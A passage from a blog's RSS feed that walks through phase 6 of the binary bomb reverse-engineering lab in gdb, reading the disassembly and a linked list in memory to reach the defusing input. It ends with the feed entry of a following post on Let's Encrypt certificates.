Breakpoint<span class="w"> </span><span class="m">1</span>,<span class="w"> </span>0x0000555555555830<span class="w"> </span><span class="k">in</span><span class="w"> </span>phase_5<span class="w"> </span><span class="o">()</span>
<span class="o">(</span>gdb<span class="o">)</span><span class="w"> </span><span class="k">continue</span>
Continuing.
Good<span class="w"> </span>work!<span class="w">  </span>On<span class="w"> </span>to<span class="w"> </span>the<span class="w"> </span>next...
</code></pre>
</div>

<p>Awesome!</p>

<h2 id="phase-6">Phase 6</h2>

<div class="codehilite">
<pre><span></span><code>Good<span class="w"> </span>work!<span class="w">  </span>On<span class="w"> </span>to<span class="w"> </span>the<span class="w"> </span>next...
<span class="nb">test</span><span class="w"> </span>string

Breakpoint<span class="w"> </span><span class="m">1</span>,<span class="w"> </span>0x0000555555555899<span class="w"> </span><span class="k">in</span><span class="w"> </span>phase_6<span class="w"> </span><span class="o">()</span>
<span class="o">(</span>gdb<span class="o">)</span><span class="w"> </span>disas<span class="w"> </span>phase_6
Dump<span class="w"> </span>of<span class="w"> </span>assembler<span class="w"> </span>code<span class="w"> </span><span class="k">for</span><span class="w"> </span><span class="k">function</span><span class="w"> </span>phase_6:
<span class="o">=</span>&gt;<span class="w"> </span>0x0000555555555899<span class="w"> </span>&lt;+0&gt;:<span class="w">     </span>endbr64<span class="w"> </span>
<span class="w">   </span>0x000055555555589d<span class="w"> </span>&lt;+4&gt;:<span class="w">     </span>push<span class="w">   </span>%r15
<span class="w">   </span>0x000055555555589f<span class="w"> </span>&lt;+6&gt;:<span class="w">     </span>push<span class="w">   </span>%r14
<span class="w">   </span>0x00005555555558a1<span class="w"> </span>&lt;+8&gt;:<span class="w">     </span>push<span class="w">   </span>%r13
<span class="w">   </span>0x00005555555558a3<span class="w"> </span>&lt;+10&gt;:<span class="w">    </span>push<span class="w">   </span>%r12
<span class="w">   </span>0x00005555555558a5<span class="w"> </span>&lt;+12&gt;:<span class="w">    </span>push<span class="w">   </span>%rbp
<span class="w">   </span>0x00005555555558a6<span class="w"> </span>&lt;+13&gt;:<span class="w">    </span>push<span class="w">   </span>%rbx
<span class="w">   </span>0x00005555555558a7<span class="w"> </span>&lt;+14&gt;:<span class="w">    </span>sub<span class="w">    </span><span class="nv">$0</span>x68,%rsp
<span class="w">   </span>0x00005555555558ab<span class="w"> </span>&lt;+18&gt;:<span class="w">    </span>lea<span class="w">    </span>0x40<span class="o">(</span>%rsp<span class="o">)</span>,%rax
<span class="w">   </span>0x00005555555558b0<span class="w"> </span>&lt;+23&gt;:<span class="w">    </span>mov<span class="w">    </span>%rax,%r14
<span class="w">   </span>0x00005555555558b3<span class="w"> </span>&lt;+26&gt;:<span class="w">    </span>mov<span class="w">    </span>%rax,0x8<span class="o">(</span>%rsp<span class="o">)</span>
<span class="w">   </span>0x00005555555558b8<span class="w"> </span>&lt;+31&gt;:<span class="w">    </span>mov<span class="w">    </span>%rax,%rsi
<span class="w">   </span>0x00005555555558bb<span class="w"> </span>&lt;+34&gt;:<span class="w">    </span>call<span class="w">   </span>0x555555555d97<span class="w"> </span>&lt;read_six_numbers&gt;
<span class="w">   </span>0x00005555555558c0<span class="w"> </span>&lt;+39&gt;:<span class="w">    </span>mov<span class="w">    </span>%r14,%r12
<span class="w">   </span>0x00005555555558c3<span class="w"> </span>&lt;+42&gt;:<span class="w">    </span>mov<span class="w">    </span><span class="nv">$0</span>x1,%r15d
<span class="w">   </span>0x00005555555558c9<span class="w"> </span>&lt;+48&gt;:<span class="w">    </span>mov<span class="w">    </span>%r14,%r13
<span class="w">   </span>0x00005555555558cc<span class="w"> </span>&lt;+51&gt;:<span class="w">    </span>jmp<span class="w">    </span>0x555555555997<span class="w"> </span>&lt;phase_6+254&gt;
<span class="w">   </span>0x00005555555558d1<span class="w"> </span>&lt;+56&gt;:<span class="w">    </span>call<span class="w">   </span>0x555555555d4a<span class="w"> </span>&lt;explode_bomb&gt;
<span class="w">   </span>0x00005555555558d6<span class="w"> </span>&lt;+61&gt;:<span class="w">    </span>jmp<span class="w">    </span>0x5555555559a9<span class="w"> </span>&lt;phase_6+272&gt;
<span class="w">   </span>0x00005555555558db<span class="w"> </span>&lt;+66&gt;:<span class="w">    </span>add<span class="w">    </span><span class="nv">$0</span>x1,%rbx
<span class="w">   </span>0x00005555555558df<span class="w"> </span>&lt;+70&gt;:<span class="w">    </span>cmp<span class="w">    </span><span class="nv">$0</span>x5,%ebx
<span class="w">   </span>0x00005555555558e2<span class="w"> </span>&lt;+73&gt;:<span class="w">    </span>jg<span class="w">     </span>0x55555555598f<span class="w"> </span>&lt;phase_6+246&gt;
<span class="w">   </span>0x00005555555558e8<span class="w"> </span>&lt;+79&gt;:<span class="w">    </span>mov<span class="w">    </span>0x0<span class="o">(</span>%r13,%rbx,4<span class="o">)</span>,%eax
<span class="w">   </span>0x00005555555558ed<span class="w"> </span>&lt;+84&gt;:<span class="w">    </span>cmp<span class="w">    </span>%eax,0x0<span class="o">(</span>%rbp<span class="o">)</span>
<span class="w">   </span>0x00005555555558f0<span class="w"> </span>&lt;+87&gt;:<span class="w">    </span>jne<span class="w">    </span>0x5555555558db<span class="w"> </span>&lt;phase_6+66&gt;
<span class="w">   </span>0x00005555555558f2<span class="w"> </span>&lt;+89&gt;:<span class="w">    </span>call<span class="w">   </span>0x555555555d4a<span class="w"> </span>&lt;explode_bomb&gt;
<span class="w">   </span>0x00005555555558f7<span class="w"> </span>&lt;+94&gt;:<span class="w">    </span>jmp<span class="w">    </span>0x5555555558db<span class="w"> </span>&lt;phase_6+66&gt;
<span class="w">   </span>0x00005555555558f9<span class="w"> </span>&lt;+96&gt;:<span class="w">    </span>mov<span class="w">    </span>0x8<span class="o">(</span>%rsp<span class="o">)</span>,%rdx
<span class="w">   </span>0x00005555555558fe<span class="w"> </span>&lt;+101&gt;:<span class="w">   </span>add<span class="w">    </span><span class="nv">$0</span>x18,%rdx
<span class="w">   </span>0x0000555555555902<span class="w"> </span>&lt;+105&gt;:<span class="w">   </span>mov<span class="w">    </span><span class="nv">$0</span>x7,%ecx
<span class="w">   </span>0x0000555555555907<span class="w"> </span>&lt;+110&gt;:<span class="w">   </span>mov<span class="w">    </span>%ecx,%eax
<span class="w">   </span>0x0000555555555909<span class="w"> </span>&lt;+112&gt;:<span class="w">   </span>sub<span class="w">    </span><span class="o">(</span>%r12<span class="o">)</span>,%eax
<span class="w">   </span>0x000055555555590d<span class="w"> </span>&lt;+116&gt;:<span class="w">   </span>mov<span class="w">    </span>%eax,<span class="o">(</span>%r12<span class="o">)</span>
<span class="w">   </span>0x0000555555555911<span class="w"> </span>&lt;+120&gt;:<span class="w">   </span>add<span class="w">    </span><span class="nv">$0</span>x4,%r12
<span class="w">   </span>0x0000555555555915<span class="w"> </span>&lt;+124&gt;:<span class="w">   </span>cmp<span class="w">    </span>%r12,%rdx
<span class="w">   </span>0x0000555555555918<span class="w"> </span>&lt;+127&gt;:<span class="w">   </span>jne<span class="w">    </span>0x555555555907<span class="w"> </span>&lt;phase_6+110&gt;
<span class="w">   </span>0x000055555555591a<span class="w"> </span>&lt;+129&gt;:<span class="w">   </span>mov<span class="w">    </span><span class="nv">$0</span>x0,%esi
<span class="w">   </span>0x000055555555591f<span class="w"> </span>&lt;+134&gt;:<span class="w">   </span>mov<span class="w">    </span>0x40<span class="o">(</span>%rsp,%rsi,4<span class="o">)</span>,%ecx
<span class="w">   </span>0x0000555555555923<span class="w"> </span>&lt;+138&gt;:<span class="w">   </span>mov<span class="w">    </span><span class="nv">$0</span>x1,%eax
<span class="w">   </span>0x0000555555555928<span class="w"> </span>&lt;+143&gt;:<span class="w">   </span>lea<span class="w">    </span>0x3d01<span class="o">(</span>%rip<span class="o">)</span>,%rdx<span class="w">        </span><span class="c1"># 0x555555559630 &lt;node1&gt;</span>
--Type<span class="w"> </span>&lt;RET&gt;<span class="w"> </span><span class="k">for</span><span class="w"> </span>more,<span class="w"> </span>q<span class="w"> </span>to<span class="w"> </span>quit,<span class="w"> </span>c<span class="w"> </span>to<span class="w"> </span><span class="k">continue</span><span class="w"> </span>without<span class="w"> </span>paging--
<span class="w">   </span>0x000055555555592f<span class="w"> </span>&lt;+150&gt;:<span class="w">   </span>cmp<span class="w">    </span><span class="nv">$0</span>x1,%ecx
<span class="w">   </span>0x0000555555555932<span class="w"> </span>&lt;+153&gt;:<span class="w">   </span>jle<span class="w">    </span>0x55555555593f<span class="w"> </span>&lt;phase_6+166&gt;
<span class="w">   </span>0x0000555555555934<span class="w"> </span>&lt;+155&gt;:<span class="w">   </span>mov<span class="w">    </span>0x8<span class="o">(</span>%rdx<span class="o">)</span>,%rdx
<span class="w">   </span>0x0000555555555938<span class="w"> </span>&lt;+159&gt;:<span class="w">   </span>add<span class="w">    </span><span class="nv">$0</span>x1,%eax
<span class="w">   </span>0x000055555555593b<span class="w"> </span>&lt;+162&gt;:<span class="w">   </span>cmp<span class="w">    </span>%ecx,%eax
<span class="w">   </span>0x000055555555593d<span class="w"> </span>&lt;+164&gt;:<span class="w">   </span>jne<span class="w">    </span>0x555555555934<span class="w"> </span>&lt;phase_6+155&gt;
<span class="w">   </span>0x000055555555593f<span class="w"> </span>&lt;+166&gt;:<span class="w">   </span>mov<span class="w">    </span>%rdx,0x10<span class="o">(</span>%rsp,%rsi,8<span class="o">)</span>
<span class="w">   </span>0x0000555555555944<span class="w"> </span>&lt;+171&gt;:<span class="w">   </span>add<span class="w">    </span><span class="nv">$0</span>x1,%rsi
<span class="w">   </span>0x0000555555555948<span class="w"> </span>&lt;+175&gt;:<span class="w">   </span>cmp<span class="w">    </span><span class="nv">$0</span>x6,%rsi
<span class="w">   </span>0x000055555555594c<span class="w"> </span>&lt;+179&gt;:<span class="w">   </span>jne<span class="w">    </span>0x55555555591f<span class="w"> </span>&lt;phase_6+134&gt;
<span class="w">   </span>0x000055555555594e<span class="w"> </span>&lt;+181&gt;:<span class="w">   </span>mov<span class="w">    </span>0x10<span class="o">(</span>%rsp<span class="o">)</span>,%rbx
<span class="w">   </span>0x0000555555555953<span class="w"> </span>&lt;+186&gt;:<span class="w">   </span>mov<span class="w">    </span>0x18<span class="o">(</span>%rsp<span class="o">)</span>,%rax
<span class="w">   </span>0x0000555555555958<span class="w"> </span>&lt;+191&gt;:<span class="w">   </span>mov<span class="w">    </span>%rax,0x8<span class="o">(</span>%rbx<span class="o">)</span>
<span class="w">   </span>0x000055555555595c<span class="w"> </span>&lt;+195&gt;:<span class="w">   </span>mov<span class="w">    </span>0x20<span class="o">(</span>%rsp<span class="o">)</span>,%rdx
<span class="w">   </span>0x0000555555555961<span class="w"> </span>&lt;+200&gt;:<span class="w">   </span>mov<span class="w">    </span>%rdx,0x8<span class="o">(</span>%rax<span class="o">)</span>
<span class="w">   </span>0x0000555555555965<span class="w"> </span>&lt;+204&gt;:<span class="w">   </span>mov<span class="w">    </span>0x28<span class="o">(</span>%rsp<span class="o">)</span>,%rax
<span class="w">   </span>0x000055555555596a<span class="w"> </span>&lt;+209&gt;:<span class="w">   </span>mov<span class="w">    </span>%rax,0x8<span class="o">(</span>%rdx<span class="o">)</span>
<span class="w">   </span>0x000055555555596e<span class="w"> </span>&lt;+213&gt;:<span class="w">   </span>mov<span class="w">    </span>0x30<span class="o">(</span>%rsp<span class="o">)</span>,%rdx
<span class="w">   </span>0x0000555555555973<span class="w"> </span>&lt;+218&gt;:<span class="w">   </span>mov<span class="w">    </span>%rdx,0x8<span class="o">(</span>%rax<span class="o">)</span>
<span class="w">   </span>0x0000555555555977<span class="w"> </span>&lt;+222&gt;:<span class="w">   </span>mov<span class="w">    </span>0x38<span class="o">(</span>%rsp<span class="o">)</span>,%rax
<span class="w">   </span>0x000055555555597c<span class="w"> </span>&lt;+227&gt;:<span class="w">   </span>mov<span class="w">    </span>%rax,0x8<span class="o">(</span>%rdx<span class="o">)</span>
<span class="w">   </span>0x0000555555555980<span class="w"> </span>&lt;+231&gt;:<span class="w">   </span>movq<span class="w">   </span><span class="nv">$0</span>x0,0x8<span class="o">(</span>%rax<span class="o">)</span>
<span class="w">   </span>0x0000555555555988<span class="w"> </span>&lt;+239&gt;:<span class="w">   </span>mov<span class="w">    </span><span class="nv">$0</span>x5,%ebp
<span class="w">   </span>0x000055555555598d<span class="w"> </span>&lt;+244&gt;:<span class="w">   </span>jmp<span class="w">    </span>0x5555555559c4<span class="w"> </span>&lt;phase_6+299&gt;
<span class="w">   </span>0x000055555555598f<span class="w"> </span>&lt;+246&gt;:<span class="w">   </span>add<span class="w">    </span><span class="nv">$0</span>x1,%r15
<span class="w">   </span>0x0000555555555993<span class="w"> </span>&lt;+250&gt;:<span class="w">   </span>add<span class="w">    </span><span class="nv">$0</span>x4,%r14
<span class="w">   </span>0x0000555555555997<span class="w"> </span>&lt;+254&gt;:<span class="w">   </span>mov<span class="w">    </span>%r14,%rbp
<span class="w">   </span>0x000055555555599a<span class="w"> </span>&lt;+257&gt;:<span class="w">   </span>mov<span class="w">    </span><span class="o">(</span>%r14<span class="o">)</span>,%eax
<span class="w">   </span>0x000055555555599d<span class="w"> </span>&lt;+260&gt;:<span class="w">   </span>sub<span class="w">    </span><span class="nv">$0</span>x1,%eax
<span class="w">   </span>0x00005555555559a0<span class="w"> </span>&lt;+263&gt;:<span class="w">   </span>cmp<span class="w">    </span><span class="nv">$0</span>x5,%eax
<span class="w">   </span>0x00005555555559a3<span class="w"> </span>&lt;+266&gt;:<span class="w">   </span>ja<span class="w">     </span>0x5555555558d1<span class="w"> </span>&lt;phase_6+56&gt;
<span class="w">   </span>0x00005555555559a9<span class="w"> </span>&lt;+272&gt;:<span class="w">   </span>cmp<span class="w">    </span><span class="nv">$0</span>x5,%r15d
<span class="w">   </span>0x00005555555559ad<span class="w"> </span>&lt;+276&gt;:<span class="w">   </span>jg<span class="w">     </span>0x5555555558f9<span class="w"> </span>&lt;phase_6+96&gt;
<span class="w">   </span>0x00005555555559b3<span class="w"> </span>&lt;+282&gt;:<span class="w">   </span>mov<span class="w">    </span>%r15,%rbx
<span class="w">   </span>0x00005555555559b6<span class="w"> </span>&lt;+285&gt;:<span class="w">   </span>jmp<span class="w">    </span>0x5555555558e8<span class="w"> </span>&lt;phase_6+79&gt;
<span class="w">   </span>0x00005555555559bb<span class="w"> </span>&lt;+290&gt;:<span class="w">   </span>mov<span class="w">    </span>0x8<span class="o">(</span>%rbx<span class="o">)</span>,%rbx
<span class="w">   </span>0x00005555555559bf<span class="w"> </span>&lt;+294&gt;:<span class="w">   </span>sub<span class="w">    </span><span class="nv">$0</span>x1,%ebp
<span class="w">   </span>0x00005555555559c2<span class="w"> </span>&lt;+297&gt;:<span class="w">   </span>je<span class="w">     </span>0x5555555559d5<span class="w"> </span>&lt;phase_6+316&gt;
<span class="w">   </span>0x00005555555559c4<span class="w"> </span>&lt;+299&gt;:<span class="w">   </span>mov<span class="w">    </span>0x8<span class="o">(</span>%rbx<span class="o">)</span>,%rax
<span class="w">   </span>0x00005555555559c8<span class="w"> </span>&lt;+303&gt;:<span class="w">   </span>mov<span class="w">    </span><span class="o">(</span>%rax<span class="o">)</span>,%eax
<span class="w">   </span>0x00005555555559ca<span class="w"> </span>&lt;+305&gt;:<span class="w">   </span>cmp<span class="w">    </span>%eax,<span class="o">(</span>%rbx<span class="o">)</span>
--Type<span class="w"> </span>&lt;RET&gt;<span class="w"> </span><span class="k">for</span><span class="w"> </span>more,<span class="w"> </span>q<span class="w"> </span>to<span class="w"> </span>quit,<span class="w"> </span>c<span class="w"> </span>to<span class="w"> </span><span class="k">continue</span><span class="w"> </span>without<span class="w"> </span>paging--
<span class="w">   </span>0x00005555555559cc<span class="w"> </span>&lt;+307&gt;:<span class="w">   </span>jge<span class="w">    </span>0x5555555559bb<span class="w"> </span>&lt;phase_6+290&gt;
<span class="w">   </span>0x00005555555559ce<span class="w"> </span>&lt;+309&gt;:<span class="w">   </span>call<span class="w">   </span>0x555555555d4a<span class="w"> </span>&lt;explode_bomb&gt;
<span class="w">   </span>0x00005555555559d3<span class="w"> </span>&lt;+314&gt;:<span class="w">   </span>jmp<span class="w">    </span>0x5555555559bb<span class="w"> </span>&lt;phase_6+290&gt;
<span class="w">   </span>0x00005555555559d5<span class="w"> </span>&lt;+316&gt;:<span class="w">   </span>add<span class="w">    </span><span class="nv">$0</span>x68,%rsp
<span class="w">   </span>0x00005555555559d9<span class="w"> </span>&lt;+320&gt;:<span class="w">   </span>pop<span class="w">    </span>%rbx
<span class="w">   </span>0x00005555555559da<span class="w"> </span>&lt;+321&gt;:<span class="w">   </span>pop<span class="w">    </span>%rbp
<span class="w">   </span>0x00005555555559db<span class="w"> </span>&lt;+322&gt;:<span class="w">   </span>pop<span class="w">    </span>%r12
<span class="w">   </span>0x00005555555559dd<span class="w"> </span>&lt;+324&gt;:<span class="w">   </span>pop<span class="w">    </span>%r13
<span class="w">   </span>0x00005555555559df<span class="w"> </span>&lt;+326&gt;:<span class="w">   </span>pop<span class="w">    </span>%r14
<span class="w">   </span>0x00005555555559e1<span class="w"> </span>&lt;+328&gt;:<span class="w">   </span>pop<span class="w">    </span>%r15
<span class="w">   </span>0x00005555555559e3<span class="w"> </span>&lt;+330&gt;:<span class="w">   </span>ret<span class="w">    </span>
End<span class="w"> </span>of<span class="w"> </span>assembler<span class="w"> </span>dump.
<span class="o">(</span>gdb<span class="o">)</span><span class="w"> </span>
</code></pre>
</div>

<p>Again, we see the familiar <code>read_six_digits</code> function.</p>

<p>Let us analyse this function in chunks:</p>

<div class="codehilite">
<pre><span></span><code><span class="w">   </span>0x00005555555558bb<span class="w"> </span>&lt;+34&gt;:<span class="w">    </span>call<span class="w">   </span>0x555555555d97<span class="w"> </span>&lt;read_six_numbers&gt;
<span class="w">   </span>0x00005555555558c0<span class="w"> </span>&lt;+39&gt;:<span class="w">    </span>mov<span class="w">    </span>%r14,%r12
<span class="w">   </span>0x00005555555558c3<span class="w"> </span>&lt;+42&gt;:<span class="w">    </span>mov<span class="w">    </span><span class="nv">$0</span>x1,%r15d
<span class="w">   </span>0x00005555555558c9<span class="w"> </span>&lt;+48&gt;:<span class="w">    </span>mov<span class="w">    </span>%r14,%r13
<span class="w">   </span>0x00005555555558cc<span class="w"> </span>&lt;+51&gt;:<span class="w">    </span>jmp<span class="w">    </span>0x555555555997<span class="w"> </span>&lt;phase_6+254&gt;
</code></pre>
</div>

<ol>
<li>Read six numbers</li>
<li>Initialise Registers:
2.1. <code>mov %r14,%r12</code>: <code>%r14</code> should be pointing to the location of the stack where the numbers were read into. This address is copied onto <code>%r12</code>
2.2. <code>mov $0x1,%r15d</code>: The value <code>1</code> is moved into <code>%r15</code> register (probably acting like a counter)
2.3. <code>mov %r14,%r13</code>: The value is also copied to <code>%r13</code></li>
<li>Jump to start of loop:</li>
</ol>

<div class="codehilite">
<pre><span></span><code><span class="w">   </span>0x0000555555555997<span class="w"> </span>&lt;+254&gt;:<span class="w">   </span>mov<span class="w">    </span>%r14,%rbp
<span class="w">   </span>0x000055555555599a<span class="w"> </span>&lt;+257&gt;:<span class="w">   </span>mov<span class="w">    </span><span class="o">(</span>%r14<span class="o">)</span>,%eax
<span class="w">   </span>0x000055555555599d<span class="w"> </span>&lt;+260&gt;:<span class="w">   </span>sub<span class="w">    </span><span class="nv">$0</span>x1,%eax
<span class="w">   </span>0x00005555555559a0<span class="w"> </span>&lt;+263&gt;:<span class="w">   </span>cmp<span class="w">    </span><span class="nv">$0</span>x5,%eax
<span class="w">   </span>0x00005555555559a3<span class="w"> </span>&lt;+266&gt;:<span class="w">   </span>ja<span class="w">     </span>0x5555555558d1<span class="w"> </span>&lt;phase_6+56&gt;
</code></pre>
</div>

<ol>
<li>Initialise register and point to first number in sequence</li>
<li>Adjust number(s):
2.1. <code>mov (%r14),%eax</code> -> load the current number in the sequence
2.2. <code>sub $0x1,%eax</code> -> decrement number by 1</li>
<li>Validation
3.1. <code>cmp $0x5,%eax</code>: This compares the adjusted value in <code>%eax</code> with 5.
3.2. <code>ja 0x5555555558d1 &lt;phase_6+56&gt;</code>: jump if given value is &gt; 5 or &lt; 0</li>
</ol>

<p>=&gt; All numbers should be between 1 and 6.</p>

<div class="codehilite">
<pre><span></span><code><span class="w">   </span>0x00005555555559a9<span class="w"> </span>&lt;+272&gt;:<span class="w">   </span>cmp<span class="w">    </span><span class="nv">$0</span>x5,%r15d
<span class="w">   </span>0x00005555555559ad<span class="w"> </span>&lt;+276&gt;:<span class="w">   </span>jg<span class="w">     </span>0x5555555558f9<span class="w"> </span>&lt;phase_6+96&gt;
</code></pre>
</div>

<p>This checks if the value stored in <code>%r15</code> is &gt; 5, if it is then it jumps somewhere else. This validates our assumption that <code>%r15</code> is acting as a counter.</p>

<div class="codehilite">
<pre><span></span><code><span class="w">   </span>0x00005555555559b3<span class="w"> </span>&lt;+282&gt;:<span class="w">   </span>mov<span class="w">    </span>%r15,%rbx
<span class="w">   </span>0x00005555555559b6<span class="w"> </span>&lt;+285&gt;:<span class="w">   </span>jmp<span class="w">    </span>0x5555555558e8<span class="w"> </span>&lt;phase_6+79&gt;
</code></pre>
</div>

<p>Let us jump to +79</p>

<div class="codehilite">
<pre><span></span><code><span class="w">   </span>0x00005555555558e8<span class="w"> </span>&lt;+79&gt;:<span class="w">    </span>mov<span class="w">    </span>0x0<span class="o">(</span>%r13,%rbx,4<span class="o">)</span>,%eax
<span class="w">   </span>0x00005555555558ed<span class="w"> </span>&lt;+84&gt;:<span class="w">    </span>cmp<span class="w">    </span>%eax,0x0<span class="o">(</span>%rbp<span class="o">)</span>
<span class="w">   </span>0x00005555555558f0<span class="w"> </span>&lt;+87&gt;:<span class="w">    </span>jne<span class="w">    </span>0x5555555558db<span class="w"> </span>&lt;phase_6+66&gt;
<span class="w">   </span>0x00005555555558f2<span class="w"> </span>&lt;+89&gt;:<span class="w">    </span>call<span class="w">   </span>0x555555555d4a<span class="w"> </span>&lt;explode_bomb&gt;
<span class="w">   </span>0x00005555555558f7<span class="w"> </span>&lt;+94&gt;:<span class="w">    </span>jmp<span class="w">    </span>0x5555555558db<span class="w"> </span>&lt;phase_6+66&gt;
</code></pre>
</div>

<p>This section deals with checking if all the numbers in the sequence are unique or not. Thus, we need to ensure out 6 digits are unique</p>

<div class="codehilite">
<pre><span></span><code><span class="w">   </span>0x00005555555558db<span class="w"> </span>&lt;+66&gt;:<span class="w">    </span>add<span class="w">    </span><span class="nv">$0</span>x1,%rbx<span class="w"> </span>//<span class="w"> </span>Increments<span class="w"> </span>by<span class="w"> </span><span class="m">1</span>
<span class="w">   </span>0x00005555555558df<span class="w"> </span>&lt;+70&gt;:<span class="w">    </span>cmp<span class="w">    </span><span class="nv">$0</span>x5,%ebx<span class="w"> </span>
<span class="w">   </span>0x00005555555558e2<span class="w"> </span>&lt;+73&gt;:<span class="w">    </span>jg<span class="w">     </span>0x55555555598f<span class="w"> </span>&lt;phase_6+246&gt;<span class="w"> </span>//<span class="w"> </span>Jump<span class="w"> </span><span class="k">if</span><span class="w"> </span>&gt;<span class="w"> </span><span class="m">5</span><span class="w"> </span><span class="o">(</span>Loop<span class="w"> </span>iterations<span class="w"> </span>are<span class="w"> </span><span class="nb">complete</span><span class="o">)</span>
<span class="w">   </span>0x00005555555558e8<span class="w"> </span>&lt;+79&gt;:<span class="w">    </span>mov<span class="w">    </span>0x0<span class="o">(</span>%r13,%rbx,4<span class="o">)</span>,%eax<span class="w"> </span>
<span class="w">   </span>0x00005555555558ed<span class="w"> </span>&lt;+84&gt;:<span class="w">    </span>cmp<span class="w">    </span>%eax,0x0<span class="o">(</span>%rbp<span class="o">)</span>
<span class="w">   </span>0x00005555555558f0<span class="w"> </span>&lt;+87&gt;:<span class="w">    </span>jne<span class="w">    </span>0x5555555558db<span class="w"> </span>&lt;phase_6+66&gt;<span class="w"> </span>//<span class="w"> </span>Again,<span class="w"> </span>check<span class="w"> </span><span class="k">if</span><span class="w"> </span>the<span class="w"> </span>number<span class="w"> </span>being<span class="w"> </span>seen<span class="w"> </span>is<span class="w"> </span>unique
</code></pre>
</div>

<p>Now we know that the numbers are unique, between 1-6 (inclusive).</p>

<p>After stepping through the instructions, we can also see that the numbers are being transformed:
* By subtracting it from 7 (mov $0x7,%ecx followed by sub (%r12),%eax)
* This effectively maps the numbers as follows: 1 to 6, 2 to 5, 3 to 4, 4 to 3, 5 to 2, and 6 to 1.</p>

<p>Let us try to figure out what <code>0x0000555555555928 &lt;+143&gt;:   lea    0x3d01(%rip),%rdx        # 0x555555559630 &lt;node1&gt;</code> is:</p>

<div class="codehilite">
<pre><span></span><code><span class="o">(</span>gdb<span class="o">)</span><span class="w"> </span>x/30wx<span class="w"> </span>0x555555559630
0x555555559630<span class="w"> </span>&lt;node1&gt;:<span class="w"> </span>0x000000d9<span class="w">      </span>0x00000001<span class="w">      </span>0x55559640<span class="w">      </span>0x00005555
0x555555559640<span class="w"> </span>&lt;node2&gt;:<span class="w"> </span>0x000003ab<span class="w">      </span>0x00000002<span class="w">      </span>0x55559650<span class="w">      </span>0x00005555
0x555555559650<span class="w"> </span>&lt;node3&gt;:<span class="w"> </span>0x0000014f<span class="w">      </span>0x00000003<span class="w">      </span>0x55559660<span class="w">      </span>0x00005555
0x555555559660<span class="w"> </span>&lt;node4&gt;:<span class="w"> </span>0x000000a1<span class="w">      </span>0x00000004<span class="w">      </span>0x55559670<span class="w">      </span>0x00005555
0x555555559670<span class="w"> </span>&lt;node5&gt;:<span class="w"> </span>0x000001b3<span class="w">      </span>0x00000005<span class="w">      </span>0x55559120<span class="w">      </span>0x00005555
0x555555559680<span class="w"> </span>&lt;host_table&gt;:<span class="w">    </span>0x555573f5<span class="w">      </span>0x00005555<span class="w">      </span>0x5555740f<span class="w">      </span>0x00005555
0x555555559690<span class="w"> </span>&lt;host_table+16&gt;:<span class="w"> </span>0x55557429<span class="w">      </span>0x00005555<span class="w">      </span>0x00000000<span class="w">      </span>0x00000000
0x5555555596a0<span class="w"> </span>&lt;host_table+32&gt;:<span class="w"> </span>0x00000000<span class="w">      </span>0x00000000
<span class="o">(</span>gdb<span class="o">)</span><span class="w"> </span>x/30wx<span class="w"> </span>0x555555559120
0x555555559120<span class="w"> </span>&lt;node6&gt;:<span class="w"> </span>0x000002da<span class="w">      </span>0x00000006<span class="w">      </span>0x00000000<span class="w">      </span>0x00000000
0x555555559130:<span class="w"> </span>0x00000000<span class="w">      </span>0x00000000<span class="w">      </span>0x00000000<span class="w">      </span>0x00000000
0x555555559140<span class="w"> </span>&lt;userid&gt;:<span class="w">        </span>0x61767861<span class="w">      </span>0x38383535<span class="w">      </span>0x00000000<span class="w">      </span>0x00000000
0x555555559150<span class="w"> </span>&lt;userid+16&gt;:<span class="w">     </span>0x00000000<span class="w">      </span>0x00000000<span class="w">      </span>0x00000000<span class="w">      </span>0x00000000
0x555555559160<span class="w"> </span>&lt;userid+32&gt;:<span class="w">     </span>0x00000000<span class="w">      </span>0x00000000<span class="w">      </span>0x00000000<span class="w">      </span>0x00000000
0x555555559170<span class="w"> </span>&lt;userid+48&gt;:<span class="w">     </span>0x00000000<span class="w">      </span>0x00000000<span class="w">      </span>0x00000000<span class="w">      </span>0x00000000
0x555555559180<span class="w"> </span>&lt;userid+64&gt;:<span class="w">     </span>0x00000000<span class="w">      </span>0x00000000<span class="w">      </span>0x00000000<span class="w">      </span>0x00000000
0x555555559190<span class="w"> </span>&lt;userid+80&gt;:<span class="w">     </span>0x00000000<span class="w">      </span>0x00000000
<span class="o">(</span>gdb<span class="o">)</span><span class="w"> </span>
</code></pre>
</div>

<p>It appears that this is a linked list. With roughly the following structure:</p>

<div class="codehilite">
<pre><span></span><code><span class="k">struct</span><span class="w"> </span><span class="nc">node</span><span class="w"> </span><span class="p">{</span>
<span class="w">    </span><span class="kt">int</span><span class="w"> </span><span class="n">value</span><span class="p">;</span>
<span class="w">    </span><span class="kt">int</span><span class="w"> </span><span class="n">index</span><span class="p">;</span>
<span class="w">    </span><span class="k">struct</span><span class="w"> </span><span class="nc">node</span><span class="w"> </span><span class="o">*</span><span class="n">next</span><span class="p">;</span>
<span class="p">};</span>
</code></pre>
</div>

<p>Let us convert the values into decimal:</p>

<pre><code>0x000000d9 -&gt; 217
0x000003ab -&gt; 939
0x0000014f -&gt; 335
0x000000a1 -&gt; 161
0x000001b3 -&gt; 435
0x000002da -&gt; 730
</code></pre>

<p><strong>Missing Notes</strong></p>

<p>To re-arrange this linked list in descending order, we would arrange it as follows:</p>

<pre><code>Node 2 -&gt; Node 6 -&gt; Node 5 -&gt; Node 3 -&gt; Node 1 -&gt; Node 4
</code></pre>

<p>Since we also need to apply the transformation: <code>7 - x</code>:</p>

<pre><code>(7-2) -&gt; (7-6) -&gt; ... -&gt; (7-4) 
</code></pre>

<p>Final answer: <code>5 1 2 4 6 3</code></p>

<p>Let us try the answer:</p>

<pre><code>...
That's number 2.  Keep going!
Halfway there!
So you got that one.  Try this one.
Good work!  On to the next...
5 1 2 4 6 3

Breakpoint 1, 0x0000555555555899 in phase_6 ()
(gdb) continue
Continuing.
Congratulations! You've defused the bomb!
Your instructor has been notified and will verify your solution.
[Inferior 1 (process 1754) exited normally]
</code></pre>

<p>But, what about the secret phase?</p>
]]></content:encoded>
		</item>
		
		<item>
			<guid isPermaLink="true">
				https://web.navan.dev/posts/2020-11-17-Lets-Encrypt-DuckDns.html
			</guid>
			<title>
				Generating HTTPS Certificate using DNS a Challenge through Let's Encrypt
			</title>
			<description>
				Short code-snippet to generate HTTPS certificates using the DNS Challenge through Lets Encrypt for a web-server using DuckDNS.
			</description>
			<link>https://web.navan.dev/posts/2020-11-17-Lets-Encrypt-DuckDns.html</link>
			<pubDate>Tue, 17 Nov 2020 15:04:00 -0000</pubDate>
